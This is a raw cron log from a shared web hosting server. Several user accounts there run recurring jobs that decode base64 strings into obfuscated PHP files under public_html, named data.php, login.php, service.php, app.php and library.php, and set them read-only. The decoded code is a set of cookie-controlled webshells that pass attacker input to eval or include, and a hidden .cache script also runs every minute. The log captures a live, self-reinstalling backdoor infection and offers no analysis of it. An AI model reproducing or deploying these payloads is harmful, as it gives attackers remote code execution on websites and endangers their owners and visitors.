Mar  2 15:12:01 medusa CROND[5078]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 15:13:01 medusa CROND[19909]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 15:13:01 medusa CROND[19910]: (adminanalia) CMD (cd /home12/adminanalia/public_html/espo; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  2 15:13:01 medusa CROND[19911]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 15:13:01 medusa CROND[19913]: (anam1e7) CMD (php -q "/home16/anam1e7/public_html/wp-cron.php")
Mar  2 15:13:01 medusa CROND[19914]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 15:13:01 medusa CROND[19915]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 15:13:01 medusa CROND[19918]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 15:13:01 medusa CROND[19920]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 15:13:01 medusa CROND[19921]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 15:13:01 medusa CROND[19926]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 15:13:01 medusa CROND[19917]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  2 15:13:01 medusa CROND[19932]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 15:13:01 medusa CROND[19931]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 15:13:01 medusa CROND[19944]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 15:14:01 medusa CROND[32183]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 15:14:02 medusa CROND[32368]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 15:14:02 medusa CROND[32369]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 15:14:02 medusa CROND[32371]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 15:14:02 medusa CROND[32373]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  2 15:14:02 medusa CROND[32374]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 15:14:02 medusa CROND[32375]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 15:14:02 medusa CROND[32378]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 15:14:02 medusa CROND[32379]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 15:14:02 medusa CROND[32382]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 15:14:02 medusa CROND[32383]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 15:14:02 medusa CROND[32385]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 15:14:02 medusa CROND[32388]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 15:15:01 medusa CROND[16168]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 15:15:01 medusa CROND[16172]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  2 15:15:01 medusa CROND[16269]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  2 15:15:01 medusa CROND[16278]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  2 15:15:01 medusa CROND[16513]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  2 15:15:01 medusa CROND[16518]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 15:15:01 medusa CROND[16516]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  2 15:15:01 medusa CROND[16519]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  2 15:15:01 medusa CROND[16521]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 15:15:01 medusa CROND[16512]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 15:15:01 medusa CROND[16541]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
